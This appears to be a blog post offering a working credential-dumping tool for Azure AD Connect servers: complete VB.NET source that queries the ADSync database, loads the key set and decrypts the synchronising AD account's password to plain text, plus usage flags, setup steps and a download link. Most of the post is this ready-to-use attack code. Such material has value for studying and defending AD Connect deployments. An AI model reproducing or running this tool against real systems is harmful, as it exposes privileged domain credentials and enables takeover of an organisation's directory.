The Azure AD Connect service is essentially responsible for synchronizing things between your local AD domain, and the Azure based domain. However, to do this it needs privileged credentials for your local domain so that it can perform various operations such as syncing passwords etc. I recently discovered this great video that explains where it stores these credentials and how to decrypt them.
TL;DR: Its possible to just run some simple .NET or Powershell code on the server where Azure AD Connect is installed and instantly get plain text credentials for whatever AD account it is set to use!
Initially I thought I would have to repeat all of the steps they performed in the video (decompiling and watching API calls etc) to produce my own code that exploits this… but it turns out the presenter (Fox-It) was kind enough to provide this Github repo demonstrating exactly how to perform such an attack in C#.
There’s also this blog post by XPN InfoSec that provides more info as well as a working Powershell alternative.
Anyway, I thought I’d also have a go at writing my own version and compile it so its super easy to use and also gives you the option to choose between attacking an SQLExpress “LocalDb” database or a full fat SQL Server instance. Fox-It mentioned he had a download link for his compiled program in the Github readme, but I couldn’t get it to download (he also mentioned the way credentials are stored has changed recently so his code might not work now). I knew the Powershell script worked fine after changing the SQL connection string when I tested it myself, so I used that as my base and wrote a similar utility in VB.NET.
There’s a download link for my compiled program at the bottom of this page but here’s the code for anyone interested:
Imports Microsoft.DirectoryServices.MetadirectoryServices.Cryptography Imports System.Data.SqlClient Imports System.Xml Module MainModule Sub Main() Try Console.WriteLine(Environment.NewLine & "======================" & Environment.NewLine & "AZURE AD SYNC CREDENTIAL DECRYPTION TOOL" & Environment.NewLine & "Based on original code from: https://github.com/fox-it/adconnectdump" & Environment.NewLine & "======================" & Environment.NewLine) Dim SqlConnectionString As String = "Data Source=(LocalDB)\\.\\ADSync;Initial Catalog=ADSync;Connect Timeout=20" If My.Application.CommandLineArgs.Count > 0 AndAlso String.Compare(My.Application.CommandLineArgs(0), "-FullSql", True) = 0 Then SqlConnectionString = "Server=LocalHost;Database=ADSync;Trusted_Connection=True;" End If Dim KeyId As UInteger Dim InstanceId As Guid Dim Entropy As Guid Dim ConfigXml As String Dim EncryptedPasswordXml As String Using SqlConn As New SqlConnection(SqlConnectionString) Try Console.WriteLine("Opening database connection...") SqlConn.Open() Using SqlCmd As New SqlCommand("SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;", SqlConn) Console.WriteLine("Executing SQL commands...") Using Reader As SqlDataReader = SqlCmd.ExecuteReader Reader.Read() InstanceId = DirectCast(Reader("instance_id"), Guid) KeyId = CUInt(Reader("keyset_id")) Entropy = DirectCast(Reader("entropy"), Guid) End Using End Using Using SqlCmd As New SqlCommand("SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'", SqlConn) Using Reader As SqlDataReader = SqlCmd.ExecuteReader Reader.Read() ConfigXml = CStr(Reader("private_configuration_xml")) EncryptedPasswordXml = CStr(Reader("encrypted_configuration")) End Using End Using Catch Ex As Exception Console.WriteLine("Error reading from database: " & Ex.Message) Exit Sub Finally Console.WriteLine("Closing database connection...") SqlConn.Close() End Try Try Console.WriteLine("Decrypting XML...") Dim CryptoManager As New KeyManager CryptoManager.LoadKeySet(Entropy, InstanceId, KeyId) Dim Decryptor As Key = Nothing CryptoManager.GetActiveCredentialKey(Decryptor) Dim PlainTextPasswordXml As String = Nothing Decryptor.DecryptBase64ToString(EncryptedPasswordXml, PlainTextPasswordXml) Console.WriteLine("Parsing XML...") Dim Domain As String = String.Empty Dim Username As String = String.Empty Dim Password As String = String.Empty Dim XmlDoc As New XmlDocument XmlDoc.LoadXml(PlainTextPasswordXml) Dim XmlNav As XPath.XPathNavigator = XmlDoc.CreateNavigator Password = XmlNav.SelectSingleNode("//attribute").Value XmlDoc.LoadXml(ConfigXml) XmlNav = XmlDoc.CreateNavigator Domain = XmlNav.SelectSingleNode("//parameter[@name='forest-login-domain']").Value Username = XmlNav.SelectSingleNode("//parameter[@name='forest-login-user']").Value Console.WriteLine("Finished!" & Environment.NewLine & Environment.NewLine & "DECRYPTED CREDENTIALS:" & Environment.NewLine & "Username: " & Username & Environment.NewLine & "Password: " & Password & Environment.NewLine & "Domain: " & Domain & Environment.NewLine) Catch ex As Exception Console.WriteLine("Error decrypting: " & ex.Message) End Try End Using Catch ex As Exception Console.WriteLine("Unexpected error: " & ex.Message) End Try End Sub End Module
and when we run it on a machine that has the Azure AD Connect database on it, we get the AD account’s credentials in plain text (obviously I’ve blurred out the actual password, but you get the idea):
AdDecrypt.exe (with no parameters)
Will attempt to access the ADSync database on the default SQLExpress “LocalDb” instance
Will attempt to access the ADSync database on a full fat MS SQL instance using windows authentication (the actual connection string used is: “Server=LocalHost;Database=ADSync;Trusted_Connection=True;” )
This program must be run while the AD Sync Bin folder is your “working directory”, or has been added to the PATH variable. An easy way to do this is simply navigate to the folder in Powershell or Command Prompt (i.e cd “C:\Program Files\Microsoft Azure AD Sync\Bin”), and then run the program by typing the full path to wherever you have stored it. You also need to make sure the mcrypt.dll from the download link is in the same directory the program is in. Failure to do either of these things will result in a Module Not Found error.
Download link: https://github.com/VbScrub/AdSyncDecrypt/releases
Hope that helps someone 🙂 and again a big shout out to the guys at Fox-IT that figured all of this out originally, and the guys at XPN InfoSec who put together the Powershell script and some further explanation.